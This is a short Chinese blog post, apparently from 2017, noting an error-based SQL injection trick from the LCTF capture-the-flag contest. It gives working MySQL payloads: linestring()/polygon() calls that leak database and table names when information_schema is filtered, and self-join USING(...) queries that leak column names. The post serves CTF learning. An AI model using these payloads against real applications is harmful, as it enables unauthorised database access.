报错注入小技巧

这次Lctf看到pcat大佬的报错方法,就记录一下

这个题是把database,table,information这些都过滤了所以没法查infomation_schema查数据

所以这道题就用了select * from users where username='admin' and linestring(username);(linestring是Mysql自带的空间索引函数用来索引列名,还有一个函数也有这个效果polygon)这个语句进行报错。linestring(字段名)效果是这样的

可以看到很方便的就把数据库名和表名给爆出来了,而且这个函数通常不怎么会禁用而且这个语句配合/,%,=等连接符依然可以使用。以后报错的时候又多了一种思路,当然弊端就是你必须知道字段名。

接下来的可以用这个语句报错注入select * from users where username='admin' and (select * from(select * from cklm.users a join cklm.users b using(username))c);这个语句可以把username这个字段进行爆出来

然后select * from users where username='admin' and (select * from(select * from cklm.users a join cklm.users b using(username,password))c);这样可以依次爆出剩下的字段

posted @ 2017-11-20 19:27  wangshu  阅读(748)  评论(0编辑  收藏  举报